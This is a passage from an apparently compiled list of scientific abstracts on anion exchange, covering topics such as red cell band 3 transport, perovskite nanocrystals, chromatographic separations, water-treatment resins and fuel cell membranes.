Cl(-) binding and to transport site orientation, in addition to the disulfonic stilbene binding site. The relationship of the inhibitory potency of WW781 under different conditions to the affinities for the different forms of AE1 provides information on the possible asymmetric distributions of unloaded and Cl(-)-loaded transport sites that are consistent with the ping-pong model, and supports the conclusion from flux and nuclear magnetic resonance data that both the unloaded and Cl(-)-loaded sites are very asymmetrically distributed, with far more sites facing the cytoplasm than the outside medium. This asymmetry, together with the ability of WW781 to recruit toward the forms with outward-facing sites, implies that WW781 may be useful for changing the conformation of AE1 in studies of structure-function relationships. 14. Fast Anion-Exchange in Highly Luminescent Nanocrystals of Cesium Lead Halide Perovskites (CsPbX3, X = Cl, Br, I) PubMed Central 2015-01-01 Postsynthetic chemical transformations of colloidal nanocrystals, such as ion-exchange reactions, provide an avenue to compositional fine-tuning or to otherwise inaccessible materials and morphologies. While cation-exchange is facile and commonplace, anion-exchange reactions have not received substantial deployment. Here we report fast, low-temperature, deliberately partial, or complete anion-exchange in highly luminescent semiconductor nanocrystals of cesium lead halide perovskites (CsPbX3, X = Cl, Br, I). By adjusting the halide ratios in the colloidal nanocrystal solution, the bright photoluminescence can be tuned over the entire visible spectral region (410–700 nm) while maintaining high quantum yields of 20–80% and narrow emission line widths of 10–40 nm (from blue to red). Furthermore, fast internanocrystal anion-exchange is demonstrated, leading to uniform CsPb(Cl/Br)3 or CsPb(Br/I)3 compositions simply by mixing CsPbCl3, CsPbBr3, and CsPbI3 nanocrystals in appropriate ratios. PMID:26207728 15. Fast Anion-Exchange in Highly Luminescent Nanocrystals of Cesium Lead Halide Perovskites (CsPbX3, X = Cl, Br, I). PubMed Nedelcu, Georgian; Protesescu, Loredana; Yakunin, Sergii; Bodnarchuk, Maryna I; Grotevent, Matthias J; Kovalenko, Maksym V 2015-08-12 Postsynthetic chemical transformations of colloidal nanocrystals, such as ion-exchange reactions, provide an avenue to compositional fine-tuning or to otherwise inaccessible materials and morphologies. While cation-exchange is facile and commonplace, anion-exchange reactions have not received substantial deployment. Here we report fast, low-temperature, deliberately partial, or complete anion-exchange in highly luminescent semiconductor nanocrystals of cesium lead halide perovskites (CsPbX3, X = Cl, Br, I). By adjusting the halide ratios in the colloidal nanocrystal solution, the bright photoluminescence can be tuned over the entire visible spectral region (410-700 nm) while maintaining high quantum yields of 20-80% and narrow emission line widths of 10-40 nm (from blue to red). Furthermore, fast internanocrystal anion-exchange is demonstrated, leading to uniform CsPb(Cl/Br)3 or CsPb(Br/I)3 compositions simply by mixing CsPbCl3, CsPbBr3, and CsPbI3 nanocrystals in appropriate ratios. 16. Determination of thorium in geological materials by x-ray fluorescence spectrometry after anion exchange extraction SciTech Connect Roelandts, I. 1983-08-01 The exchange capacity of the resin was determined to be 1 m equiv of Th/g dry resin. Synthetic calibration standards of thorium were prepared over a large concentration range, for use as an independent method of calibration. The advantages and disadvantages of direct x-ray fluorescence analysis are discussed. The lower limit of detection has been calculated according to Currie's convention and was found to be equal to 13 ..mu..g of Th/250 mg of resin, sufficient for the range of concentrations found in Th bearing minerals and ores. Results using Canadian syenite rocks and a suite of South African reference minerals show that the proposed method appears to be relatively precise and accurate for exploration geochemistry. 1 figure, 2 tables. 17. Separation of Uncharged Oligodeoxynucleotide Analogs by Anion-Exchange Chromatography at High pH NASA Technical Reports Server (NTRS) Schmidt, Jurgen G.; Nielsen, Peter E.; Orgel, Leslie 1996-01-01 Ion-exchange chromatography is a well-established method for the analysis and purification of phosphodiester-linked oligonucleotides. If elution is carried out under alkaline conditions, the secondary structure of G- and C-rich oligomers is disrupted. Furthermore, elution times become more sensitive to the G and T content of the oligomer, because G and T are deprotonated at pH 10. In recent work on peptide-nucleic acids (PNAs) we noted that mixtures of PNA oligomers G(sub 4), G(Sub 6), G(sub 8), and G(sub 10) are readily separated by elution at pH 12 on an RPC-5 column. Here we show that this separation method is more generally applicable. 18. Separation of 'Uncharged' Oligodeoxynucleotide Analogs by Anion-Exchange Chromatography at High pH NASA Technical Reports Server (NTRS) Schmidt, Jurgen G.; Orgel, Leslie E.; Nielsen, Peter E. 1996-01-01 Ion-exchange chromatography is a well-established method for the analysis and purification of phosphodiester-linked oligonucleotides. If elution is carried out under alkaline conditions, the secondary structure of G- and C-rich oligomers is disrupted. Furthermore, elution times become more sensitive to the G and T content of the oligomer, because G and T are deprotonated at pH 10. In recent work on peptide-nucleic acids (PNAs) we noted that mixtures of PNA oligomers G(sub 4), G(sub 6), G(sub 8), and G9(sub 10) are readily separated by elution at pH 12 on an RPC-5 column. Here we show that this separation method is more generally applicable. 19. Diverse Reactivity of an Electrophilic Phosphasilene towards Anionic Nucleophiles: Substitution or Metal-Amino Exchange. PubMed Willmes, Philipp; Junk, Lukas; Huch, Volker; Yildiz, Cem B; Scheschkewitz, David 2016-08-26 The reaction of MesLi (Mes=2,4,6-trimethylphenyl) with the electrophilic phosphasilene R2 (NMe2 )Si-RSi=PNMe2 (2, R=Tip=2,4,6-triisopropylphenyl) cleanly affords R2 (NMe2 )Si-RSi=PMes and thus provides the first example of a substitution reaction at an unperturbed Si=P bond. In toluene, the reaction of 2 with lithium disilenide, R2 Si=Si(R)Li (1), apparently proceeds via an initial nucleophilic substitution step as well (as suggested by DFT calculations), but affords a saturated bicyclo[1.1.0]butane analogue as the final product, which was further characterized as its Fe(CO)4 complex. In contrast, in 1,2-dimethoxyethane the reaction of 1 with 2 results in an unprecedented metal-amino exchange reaction. 20. Treatment of nanofiltration and reverse osmosis concentrates: comparison of precipitative softening, coagulation, and anion exchange. PubMed Comstock, Sarah E H; Boyer, Treavor H; Graf, Katherine C 2011-10-15 Disposal and treatment of concentrate from nanofiltration (NF) and reverse osmosis (RO) are major challenges to implementing membrane treatment processes. Intermediate treatment of membrane concentrate, between primary and secondary membrane stages, has the potential to increase membrane recovery rates and decrease the volume of concentrate produced. To achieve this, however, there is a need to better understand treatment of membrane concentrate. As a result, this work systematically evaluated lime softening, ferric sulfate coagulation, and magnetic ion exchange (MIEX) as individual, intermediate treatment processes for membrane concentrate. Six membrane concentrates, from NF and RO, with varying concentrations of calcium, dissolved organic matter (DOM), and sulfate were chosen for this study. Maximum removal of calcium was achieved by lime softening, whereas maximum removals of DOM and sulfate were achieved by MIEX. The results of this work show that intermediate treatment of NF/RO concentrate is capable of producing treated concentrate with water quality approximately equal to the initial source water. 1. The pendrin anion exchanger gene is transcriptionally regulated by uroguanylin: a novel enterorenal link PubMed Central Rozenfeld, Julia; Tal, Osnat; Kladnitsky, Orly; Adler, Lior; Efrati, Edna; Carrithers, Stephen L.; Alper, Seth L. 2012-01-01 The pendrin/SLC26A4 Cl−/HCO3− exchanger, encoded by the PDS gene, is expressed in cortical collecting duct (CCD) non-A intercalated cells. Pendrin is essential for CCD bicarbonate secretion and is also involved in NaCl balance and blood pressure regulation. The intestinal peptide uroguanylin (UGN) is produced in response to oral salt load and can function as an “intestinal natriuretic hormone.” We aimed to investigate whether UGN modulates pendrin activity and to explore the molecular mechanisms responsible for this modulation. Injection of UGN into mice resulted in decreased pendrin mRNA and protein expression in the kidney. UGN decreased endogenous pendrin mRNA levels in HEK293 cells. A 4.2-kb human PDS (hPDS) promoter sequence and consecutive 5′ deletion products were cloned into luciferase reporter vectors and transiently transfected into HEK293 cells. Exposure of transfected cells to UGN decreased hPDS promoter activity. This UGN-induced effect on the hPDS promoter occurred within a 52-bp region encompassing a single heat shock element (HSE). The effect of UGN on the promoter was abolished when the HSE located between nt −1119 and −1115 was absent or was mutated. Furthermore, treatment of HEK293 cells with heat shock factor 1 (HSF1) small interfering RNA (siRNA) reversed the UGN-induced decrease in endogenous PDS mRNA level. In conclusion, pendrin-mediated Cl−/HCO3− exchange in the renal tubule may be regulated transcriptionally by the peptide hormone UGN. UGN exerts its inhibitory activity on the hPDS promoter likely via HSF1 action at a defined HSE site. These data define a novel signaling pathway involved in the enterorenal axis controlling electrolyte and water homeostasis. PMID:22129966 2. Tracking the Superefficient Anion Exchange of a Dynamic Porous Material Constructed by Ag(I) Nitrate and Tripyridyltriazole via Multistep Single-Crystal to Single-Crystal Transformations. PubMed Li, Cheng-Peng; Liu, Bo-Lan; Wang, Lei; Liu, Yue; Tian, Jia-Yue; Liu, Chun-Sen; Du, Miao 2017-03-01 To avoid the instability and inefficiency for anion-exchange resins and layered double-hydroxides materials, we present herein a flexible coordination network [Ag(L(243))](NO3)(H2O)(CH3CN) (L(243) = 3-(2-pyridyl)-4-(4-pyridyl)-5-(3-pyridyl)-1,2,4-triazole) with superefficient trapping capacity for permanganate, as a group-7 oxoanion model for radiotoxic pertechnetate pollutant. Furthermore, a high-throughput screening strategy has been developed based on concentration-gradient design principle to ascertain the process and mechanism for anion exchange. Significantly, a series of intermediates can be successfully isolated as the qualified crystals for single-crystal X-ray diffraction. The result evidently indicates that such a dynamic material will show remarkable breathing effect of the three-dimensional host framework upon anion exchange, which mostly facilitates the anion trapping process. This established methodology will provide a general strategy to discover the internal secrets of complicated solid-state reactions in crystals at the molecular level. 3. Determination of niacin in infant formula by solid-phase extraction and anion-exchange liquid chromatography. PubMed LaCroix, D E; Wolf, W R; Porter, E; Cantellops, D; Chase, G W; Woollard, D 2001-01-01 A peer-verified, solid-phase extraction (SPE)/anion exchange liquid chromatographic method is presented for the determination of niacin in milk-based and soy-based infant formula. Analysis is in 3 steps: test sample digestion, extraction/cleanup, and liquid chromatography (LC). Digestion uses a standard AOAC digestion procedure that involves autoclaving at 121 degrees C for 45 min in (1 + 1) H2SO4 to free endogenous niacin from protein and to convert added niacinamide to niacin. The digest solution is adjusted to pH 6.5 with 7.5M NaOH. Acidification to pH <1.0 with (1 + 1) H2SO4 precipitates the protein. The clarified solution is then filtered, and the filtrate is brought to volume. SPE of niacin is accomplished by passing an aliquot of the digest solution through an aromatic sulfonic acid-SPE (ArSCX-SPE) column. After the column is washed with methanol and water to remove extraneous material, the niacin is eluted with 0.25M sodium acetate/acetic acid buffer at pH 5.6. An anion-exchange polystyrene-divinylbenzene column with 0.1 M sodium acetate/acetic acid buffer at pH 4.0 is used for LC. Niacin is determined by UV detection at 260 nm. A standard curve is prepared by passing known amounts of niacin through the ArSCX-SPE columns used for niacin extraction. The following values for x and relative standard deviation (RSD) were obtained for National Institute of Standards and Technology Standard Reference Material (NIST SRM) 1846 Infant Formula with a certified value for niacin of 63.3 +/- 7.6 microg/g: Submitting laboratory.-- x = 59.7 +/- 4.0 microg/g; RSD = >6.7%; confidence interval (CI) = +/- 1.4 microg/g; n = 27. Peer laboratory.--x = 56.6 +/- 6.6 microg/g; RSD = >11.7%; CI =+/- 4.1 microg/g; n = 8. 4. Efficiencies and Optimization of Weak Base Anion Ion-Exchange Resin for Groundwater Hexavalent Chromium Removal at Hanford SciTech Connect Nesham, Dean O.; Ivarson, Kristine A.; Hanson, James P.; Miller, Charles W.; Meyers, P.; Jaschke, Naomi M. 2014-02-03 The U.S. Department of Energy’s (DOE’s) contractor, CH2M HILL Plateau Remediation Company, has successfully converted a series of groundwater treatment facilities to use a new treatment resin that is delivering more than \$3 million in annual cost savings and efficiency in treating groundwater contamination at the DOE Hanford Site in southeastern Washington State. During the production era, the nuclear reactors at the Hanford Site required a continuous supply of high-quality cooling water during operations. Cooling water consumption ranged from about 151,417 to 378,541 L/min (40,000 to 100,000 gal/min) per reactor, depending on specific operating conditions. Water from the Columbia River was filtered and treated chemically prior to use as cooling water, including the addition of sodium dichromate as a corrosion inhibitor. Hexavalent chromium was the primary component of the sodium dichromate and was introduced into the groundwater at the Hanford Site as a result of planned and unplanned discharges from the reactors starting in 1944. Groundwater contamination by hexavalent chromium and other contaminants related to nuclear reactor operations resulted in the need for groundwater remedial actions within the Hanford Site reactor areas. Beginning in 1995, groundwater treatment methods were evaluated, leading to the use of pump-and-treat facilities with ion exchange using Dowex™ 21K, a regenerable, strong-base anion exchange resin. This required regeneration of the resin, which was performed offsite. In 2008, DOE recognized that regulatory agreements would require significant expansion for the groundwater chromium treatment capacity. As a result, CH2M HILL performed testing at the Hanford Site in 2009 and 2010 to demonstrate resin performance in the specific groundwater chemistry at different waste sites. The testing demonstrated that a weak-base anion, single-use resin, specifically ResinTech SIR-700 ®, was effective at removing chromium, had a significantly 5. Effect of Fe2+ Oxidation on the Removal of 238Pu from Neptunium Solution by Anion Exchange SciTech Connect KYSER, EDWARD 2004-06-01 The effect of ferrous sulfamate (FS) oxidation and variation in nitric acid concentration on the removal of {sup 238}Pu contamination from Np by the HB-Line anion exchange flowsheet has been tested. Significant rejection of {sup 238}Pu was observed by washing with a reductive wash solution containing 6.0 to 6.8 M nitric acid (HNO{sub 3}) with as little as 30% of the Fe{sup 2+} from the FS remaining in its reduced form. To achieve the desired 30% removal of {sup 238}Pu from the process, conditions should be controlled to maintain the Fe{sup 2+}/Fe{sup 3+} ratio in the reductive wash to be greater than 60%/40% (or 1.5). Since Fe{sup 2+} oxidation is strongly affected by temperature and nitric acid concentration, these parameters (as well as time after FS addition) need to be controlled to ensure predictable results. A shortened-height column was utilized in these tests to match changes in the plant equipment. Lab experiments scaled to plant batch sizes of 2000 g Np were observed with modest losses for ''up-flow'' washing. The following are recommended conditions for removing {sup 238}Pu from Np solutions by anion exchange in HB-Line: (1) Feed conditions: ''Up-flow'' 6.4-8.0 M HNO{sub 3}, 0.02 M hydrazine (N{sub 2}H{sub 4}), 0.05 M excess FS. (2) Reductive Wash conditions: ''Up-flow'' 6 Bed volumes (BV) of 6.4 M HNO{sub 3}, 0.05 M FS (minimum 0.03M Fe{sup 2+} during wash cycle), 0.05 M hydrazine, less than 1.8 mL/min/cm{sup 2} flowrate. (3) Decontamination Wash conditions: ''Up-flow'' 1-2 BV of 6.4-8.0 M HNO{sub 3}, no FS, no hydrazine, less than 1.8 mL/min/cm{sup 2} flowrate. (4) Elution conditions: ''Down-flow'' 0.17 M HNO{sub 3}, 0.05 M hydrazine, no FS. 6. Metabolite exchange between microbiome members produces compounds that influence Drosophila behavior PubMed Central Fischer, Caleb N; Trautman, Eric P; Crawford, Jason M; Stabb, Eric V; Handelsman, Jo; Broderick, Nichole A 2017-01-01 Animals host multi-species microbial communities (microbiomes) whose properties may result from inter-species interactions; however, current understanding of host-microbiome interactions derives mostly from studies in which elucidation of microbe-microbe interactions is difficult. In exploring how Drosophila melanogaster acquires its microbiome, we found that a microbial community influences Drosophila olfactory and egg-laying behaviors differently than individual members. Drosophila prefers a Saccharomyces-Acetobacter co-culture to the same microorganisms grown individually and then mixed, a response mainly due to the conserved olfactory receptor, Or42b. Acetobacter metabolism of Saccharomyces-derived ethanol was necessary, and acetate and its metabolic derivatives were sufficient, for co-culture preference. Preference correlated with three emergent co-culture properties: ethanol catabolism, a distinct volatile profile, and yeast population decline. Egg-laying preference provided a context-dependent fitness benefit to larvae. We describe a molecular mechanism by which a microbial community affects animal behavior. Our results support a model whereby emergent metabolites signal a beneficial multispecies microbiome. DOI: http://dx.doi.org/10.7554/eLife.18855.001 PMID:28068220 7. A combination of ion exchange and electrochemical reduction for nitrate removal from drinking water. Part I: nitrate removal using a selective anion exchanger in the bicarbonate form with reuse of the regenerant solution. PubMed Jelínek, Ludek; Parschová, Helena; Matejka, Zdenek; Paidar, Martin; Bouzek, Karel 2004-01-01 The process of selective nitrate removal from drinking water by means of ion exchange was studied. A commercial strong base anion exchanger with triethylammonium (-N+Et3) functional groups was used in the bicarbonate (HCO3-) and carbonate (CO3(2-)) form. The aim of this study was to optimize ion-exchanger regeneration in view of the subsequent electrochemical reduction of nitrates in the spent regenerant solution. The effects of ion-exchanger form, concentration of regenerant solution, and presence of nitrates, chlorides, and sulphates in the regenerant solution were studied. The strong base anion exchanger in HCO3- form that was investigated was able to treat 270 bed volumes of model water solution containing 124 mg dm(-3) nitrates. To achieve adequate regeneration of the saturated anion exchanger, it is necessary to use approximately 30 bed volumes of fresh 1-M sodium bicarbonate (NaHCO3) regenerant solution. The presence of residual 50-mg dm(-3) nitrates in the regenerant solution, treated by electrolysis, resulted in an increase in the dose of regenerant solution to 35 bed volumes and a decrease in the subsequent sorption run of approximately 13%. The volume of applied regenerant solution was high, but the consumption of NaHCO3 for regeneration was low. 8. Use of niflumic acid to determine the nature of the asymmetry of the human erythrocyte anion exchange system PubMed Central 1984-01-01 Niflumic acid is a noncompetitive inhibitor of chloride exchange, which binds to a site different from the transport or modifier sites. When the internal Cl- concentration is raised, at constant extracellular Cl- , the inhibitory potency of niflumic acid increases. This effect cannot be attributed to changes in membrane potential, but rather it suggests that niflumic acid binds to the anion exchange protein band 3 only when the transport site faces outward. When the chloride gradient is reversed, with Clo greater than Cli , the inhibitory potency of niflumic acid decreases greatly, which indicates that the affinity of niflumic acid for band 3 with the transport site facing inward is almost 50 times less than when the transport site faces outward. Experiments in which Cli = Clo show no significant change in the inhibition by niflumic acid when Cl- is lowered from 150 to 10 mM. These data suggest that the intrinsic dissociation constants for Cl- at the two sides of the membrane are nearly equal. Thus, the chloride- loaded transport sites have an asymmetric orientation like that of the unloaded transport sites, with approximately 15 times more sites facing the inside than the outside. The asymmetry reflects an approximately 1.5 kcal/mol free energy difference between the inward-facing and outward-facing chloride-loaded forms of band 3. High concentrations of chloride (with Cli = Clo), which partially saturate the modifier site, have no effect on niflumic acid inhibition, which indicates that chloride binds equally well to the modifier site regardless of the orientation of the transport site. PMID:6736917 9. Use of niflumic acid to determine the nature of the asymmetry of the human erythrocyte anion exchange system. PubMed Knauf, P A; Mann, N A 1984-05-01 Niflumic acid is a noncompetitive inhibitor of chloride exchange, which binds to a site different from the transport or modifier sites. When the internal Cl- concentration is raised, at constant extracellular Cl-, the inhibitory potency of niflumic acid increases. This effect cannot be attributed to changes in membrane potential, but rather it suggests that niflumic acid binds to the anion exchange protein band 3 only when the transport site faces outward. When the chloride gradient is reversed, with Clo greater than Cli , the inhibitory potency of niflumic acid decreases greatly, which indicates that the affinity of niflumic acid for band 3 with the transport site facing inward is almost 50 times less than when the transport site faces outward. Experiments in which Cli = Clo show no significant change in the inhibition by niflumic acid when Cl- is lowered from 150 to 10 mM. These data suggest that the intrinsic dissociation constants for Cl- at the two sides of the membrane are nearly equal. Thus, the chloride-loaded transport sites have an asymmetric orientation like that of the unloaded transport sites, with approximately 15 times more sites facing the inside than the outside. The asymmetry reflects an approximately 1.5 kcal/mol free energy difference between the inward-facing and outward-facing chloride-loaded forms of band 3. High concentrations of chloride (with Cli = Clo), which partially saturate the modifier site, have no effect on niflumic acid inhibition, which indicates that chloride binds equally well to the modifier site regardless of the orientation of the transport site. 10. Novel quaternized poly(arylene ether sulfone)/Nano-ZrO₂ composite anion exchange membranes for alkaline fuel cells. PubMed Li, Xiuhua; Yu, Yingfeng; Meng, Yuezhong 2013-02-01 A series of composite anion exchange membranes based on novel quaternized poly(arylene ether sulfone)/nanozirconia (QPAES/nano-ZrO₂) composites are prepared using a solution casting method. The QPAES/nano-ZrO₂ composite membranes are characterized by FTIR, X-ray diffraction (XRD), and scanning electron microscopy/energy-dispersive X-ray analysis (SEM/EDX). The ion exchange capacity (IEC), water uptake, swelling ratio, hydroxide ion conductivity, mechanical properties, thermal stability, and chemical stability of the composite membranes are measured to evaluate their applicability in fuel cells. The introduction of nano-ZrO₂ induces the crystallization of the matrix and enhances the IEC of the composite membranes. The modification with nano-ZrO₂ improves water uptake, dimension stability, hydroxide ion conductivity, mechanical properties, and thermal and chemical stabilities of the composite membranes. The QPAES/nano-ZrO₂ composite membranes show hydroxide ion conductivities over 25.7 mS cm⁻¹ at a temperature above 60 °C. Especially, the QPAES/nano-ZrO₂ composite membranes with the nano-ZrO₂ content above 7.5% display hydroxide ion conductivities over 41.4 mS cm⁻¹ at 80 °C. The E(a) values of the QPAES/nano-ZrO₂ composite membranes with the nano-ZrO₂ content above 5% are lower than 11.05 kJ mol⁻¹. The QPAES/7.5% nano-ZrO₂ composite membrane displays the lowest E(a) value and the best comprehensive properties and constitutes a good potential candidate for alkaline fuel cells. 11. Raman spectroscopic study of the aging and nitration of actinide processing anion-exchange resins in concentrated nitric acid SciTech Connect Buscher, C. T.; Donohoe, R. J.; Mecklenburg, S. L.; Berg, J. M.; Tait, C. D.; Morris, D. E. [Chemical Science and Technology Division, Los Alamos National Laboratory, Los Alamos, New Mexico 87545 1999-08-01 Degradation of two types of anion exchange resins, Dowex 11 and Reillex HPQ, from the action of concentrated nitric acid (4 to 12 M) and radiolysis [from depleted uranium as UO{sub 2}{sup 2+} nitrate species and {sup 239}Pu as Pu(IV) nitrate species] was followed as a function of time with Raman vibrational spectroscopy. Elevated temperatures ({approx}50 degree sign C) were used in the absence of actinide metal loading to simulate longer exposures of the resin to a HNO{sub 3} process stream and waste storage conditions. In the absence of actinide loading, only minor changes in the Dowex resin at acid concentrations {<=}10 M were observed, while at 12 M acid concentration, the emergence of a Raman peak at 1345 cm-1 indicates the addition of nitro functional groups to the resin. Similar studies with the Reillex resin show it to be more resistant to nitric acid attack at all acid concentrations. Incorporation of weakly radioactive depleted uranium as the UO{sub 2}{sup 2+} nitrate species to the ion-exchange sites of Dowex 11 under differing nitric acid concentrations (6 to 12 M) at room temperature showed no Raman evidence of resin degradation or nitration, even after several hundred days of contact. In contrast, Raman spectra for Dowex 11 in the presence of {sup 239}Pu as Pu(IV) nitrate species reveal numerous changes indicating resin alterations, including a new mode at 1345 cm-1 consistent with a Pu(IV)-nitrate catalyzed addition of nitro groups to the resin backbone. (c) 2000 Society for Applied Spectroscopy. 12. Simultaneous clarification of Escherichia coli culture and purification of extracellularly produced penicillin G acylase using tangential flow filtration and anion-exchange membrane chromatography (TFF-AEMC). PubMed Orr, Valerie; Scharer, Jeno; Moo-Young, Murray; Honeyman, C Howie; Fenner, Drew; Crossley, Lisa; Suen, Shing-Yi; Chou, C Perry 2012-07-01 Downstream purification often represents the most cost-intensive step in the manufacturing of recombinant proteins since conventional purification processes are lengthy, technically complicated, and time-consuming. To address this issue, herein we demonstrated the simultaneous clarification and purification of the extracellularly produced recombinant protein by Escherichia coli using an integrated system of tangential flow filtration and anion exchange membrane chromatography (TFF-AEMC). After cultivation in a bench-top bioreactor with 1L working volume using the developed host/vector system for high-level expression and effective secretion of recombinant penicillin G acylase (PAC), the whole culture broth was applied directly to the established system. One-step purification of recombinant PAC was achieved based on the dual nature of membrane chromatography (i.e. microfiltration-sized pores and anion-exchange chemistry) and cross-flow operations. Most contaminant proteins in the extracellular medium were captured by the anion-exchange membrane and cells remained in the retentate, whereas extracellular PAC was purified and collected in the filtrate. The batch time for both cultivation and purification was less than 24h and recombinant PAC with high purity (19 U/mg), yield (72% recovery), and productivity (41 mg of purified PAC per liter of culture) was obtained. Due to the nature of the non-selective protein secretion system and the versatility of ion-exchange membrane chromatography, the developed system can be widely applied for effective production and purification of recombinant proteins. 13. Anion Exchange Behavior Of Ti, Zr, Hf, Nb And Ta As Homologues Of Rf And Db In Mixed HF--Acetone Solutions SciTech Connect Aksenov, N. V.; Bozhikov, G. A.; Starodub, G. Ya.; Dmitriev, S. N.; Filosofov, D. V.; Sun Jin, Jon; Radchenko, V. I.; Lebedev, N. A.; Novgorodov, A. F. 2010-04-30 We studied in detail the sorption behavior of Ti, Zr, Hf, Nb and Ta on AG 1 anion exchange resin in HF-acetone mixed solutions as a function of organic cosolvent and acid concentrations. Anion exchange behavior was found to be strongly acetone concentration dependent. The distribution coefficients of Ti, Zr, Hf and Nb increased and those of Ta decreased with increasing content of acetone in HF solutions. With increasing HF concentration anion exchange equilibrium analysis indicated the formation of fluoride complexes of group 4 elements with charge-3 and Ta---2. For Nb the slope of-2 increased up to-5. Optimal conditions for separation of the elements using AIX chromatography were found. Group 4 elements formed MF{sub 7}{sup 3-} (M = Ti, Zr, Hf) complexes whose sorption decreased Ti>Hf>Zr in reverse order of complex stability. This fact is of particular interest for studying ion exchange behavior of Rf compared to Ti. The advantages of studying chemical properties of Rf and Db in aqueous HF solutions mixed with organic solvents are briefly discussed. 14. Monitoring and preparation of neoagaro- and agaro-oligosaccharide products by high performance anion exchange chromatography systems. PubMed Kazłowski, Bartosz; Pan, Chorng Liang; Ko, Yuan Tih 2015-05-20 A series of neoagaro-oligosaccharides (NAOS) were prepared by β-agarase digestion and agaro-oligosaccharides (AOS) by HCl hydrolysis from agarose with defined quantity and degree of polymerization (DP). Chain-length distribution in the crude product mixtures were monitored by two high performance anion exchange chromatography systems coupled with a pulsed amperometric detector. Method 1 utilized two separation columns: a CarboPac(™) PA1 and a CarboPac(™) PA100 connected in series and method 2 used the PA100 alone. Method 1 resolved the product in size ranges consisting of DP 1-46 for NAOS and DP 1-32 for AOS. Method 2 clearly resolved saccharide product sizes within DP 26. The optimized system utilizing a semi-preparative CarboPac(™) PA100 column was connected with a fraction collector to isolate and quantify individually separated products. This study established systems for the preparation and qualitative and quantitative measurements as well as for the isolation of various sizes of oligomers generated from agarose. 15. Isolation of immunoglobulin G from bovine milk whey by poly(hydroxyethyl methacrylate)-based anion-exchange cryogel. PubMed Dong, Shasha; Chen, Liang; Dai, Bin; Johnson, Wilfred; Ye, Jialei; Shen, Shaochuan; Yun, Junxian; Yao, Kejian; Lin, Dong-Qiang; Yao, Shan-Jing 2013-08-01 Bovine milk whey contains several bioactive proteins such as α-lactalbumin, β-lactoglobulin, and immunoglobulin G (IgG). Chromatographic separation of these proteins has received much attention in the past few years. In this work, we provide a chromatographic method for the efficient isolation of IgG from bovine milk whey using a poly(2-hydroxyethyl methacrylate)-based anion-exchange cryogel. The monolithic cryogel was prepared by grafting 2-(dimethylamino) ethyl methacrylate onto the poly(2-hydroxyethyl methacrylate)-based cryogel matrix and then employed to separate IgG under various buffer pH and salt elution conditions. The results showed that the buffer pH and the salt concentration in the step elution have remarkable influences on the purity of IgG, while the IgG recovery depended mainly on the loading volume of whey for a given cryogel bed. High purity IgG (more than 95%) was obtained using the phosphate buffer with pH of 5.8 as the running buffer and the salt solution in as the elution liquid. With suitable loading volume of whey, the maximum IgG recovery of about 94% was observed. The present separation method is thus a potential choice for the isolation of high-purity IgG from bovine milk whey. 16. Statins, fibrates, nicotinic acid, cholesterol absorption inhibitors, anion-exchange resins, omega-3 fatty acids: which drugs for which patients? PubMed Drexel, Heinz 2009-12-01 Classes of lipid lowering drugs differ strongly with respect to the types of lipids or lipoproteins they predominantly affect. Statins inhibit the de-novo synthesis of cholesterol. Consequently, the liver produces less VLDL, and the serum concentration primarily of LDL cholesterol (but, to a lesser extent, also of triglycerides) is lowered. Further, statins somewhat increase HDL cholesterol. There is abundant evidence that statins lower the rate of cardiovascular events. Cardiovascular risk reduction is the better, the lower the LDL cholesterol values achieved with statin therapy are. Some evidence is available that anion exchange resins which also decrease LDL cholesterol decrease vascular risk, too. This is not the case for the ezetimibe, which strongly lowers LDL cholesterol: its potential to decrease vascular risk remains to be proven. In contrast evidence for cardiovascular risk reduction through the mainly triglyceride lowering fibrates as well as for niacin is available. Niacin is the most potent HDL increasing drug currently available and besides increasing HDL cholesterol efficaciously lowers triglycerides and LDL cholesterol. Large ongoing trials address the decisive question whether treatment with fibrates and niacin provides additional cardiovascular risk reduction when given in addition to statin treatment. 17. Familial distal renal tubular acidosis is associated with mutations in the red cell anion exchanger (Band 3, AE1) gene. PubMed Central Bruce, L J; Cope, D L; Jones, G K; Schofield, A E; Burley, M; Povey, S; Unwin, R J; Wrong, O; Tanner, M J 1997-01-01 All affected patients in four families with autosomal dominant familial renal tubular acidosis (dRTA) were heterozygous for mutations in their red cell HCO3-/Cl- exchanger, band 3 (AE1, SLC4A1) genes, and these mutations were not found in any of the nine normal family members studied. The mutation Arg589--> His was present in two families, while Arg589--> Cys and Ser613--> Phe changes were found in the other families. Linkage studies confirmed the co-segregation of the disease with a genetic marker close to AE1. The affected individuals with the Arg589 mutations had reduced red cell sulfate transport and altered glycosylation of the red cell band 3 N-glycan chain. The red cells of individuals with the Ser613--> Phe mutation had markedly increased red cell sulfate transport but almost normal red cell iodide transport. The erythroid and kidney isoforms of the mutant band 3 proteins were expressed in Xenopus oocytes and all showed significant chloride transport activity. We conclude that dominantly inherited dRTA is associated with mutations in band 3; but both the disease and its autosomal dominant inheritance are not related simply to the anion transport activity of the mutant proteins. PMID:9312167 18. Mitigating arsenic crisis in the developing world: role of robust, reusable and selective hybrid anion exchanger (HAIX). PubMed German, Michael; Seingheng, Hul; SenGupta, Arup K 2014-08-01 In trying to address the public health crisis from the lack of potable water, millions of tube wells have been installed across the world. From these tube wells, natural groundwater contamination from arsenic regularly puts at risk the health of over 100 million people in South and Southeast Asia. Although there have been many research projects, awards and publications, appropriate treatment technology has not been matched to ground level realities and water solutions have not scaled to reach millions of people. For thousands of people from Nepal to India to Cambodia, hybrid anion exchange (HAIX) resins have provided arsenic-safe water for up to nine years. Synthesis of HAIX resins has been commercialized and they are now available globally. Robust, reusable and arsenic-selective, HAIX has been in operation in rural communities over numerous cycles of exhaustion-regeneration. All necessary testing and system maintenance is organized by community-level water staff. Removed arsenic is safely stored in a scientifically and environmentally appropriate manner to prevent future hazards to animals or people. Recent installations have shown the profitability of HAIX-based arsenic treatment, with capital payback periods of only two years in ideal locations. With an appropriate implementation model, HAIX-based treatment can rapidly scale and provide arsenic-safe water to at-risk populations. 19. Formation of carbon nanosheets via simultaneous activation and catalytic carbonization of macroporous anion-exchange resin for supercapacitors application. PubMed Peng, Hui; Ma, Guofu; Sun, Kanjun; Mu, Jingjing; Zhang, Zhe; Lei, Ziqiang 2014-12-10 Two-dimensional mesoporous carbon nanosheets (CNSs) have been prepared via simultaneous activation and catalytic carbonization route using macroporous anion-exchange resin (AER) as carbon precursor and ZnCl2 and FeCl3 as activating agent and catalyst, respectively. The iron catalyst in the skeleton of the AER may lead to carburization to form a sheetlike structure during the carbonization process. The obtained CNSs have a large number of mesopores, a maximum specific surface area of 1764.9 m(2) g(-1), and large pore volume of 1.38 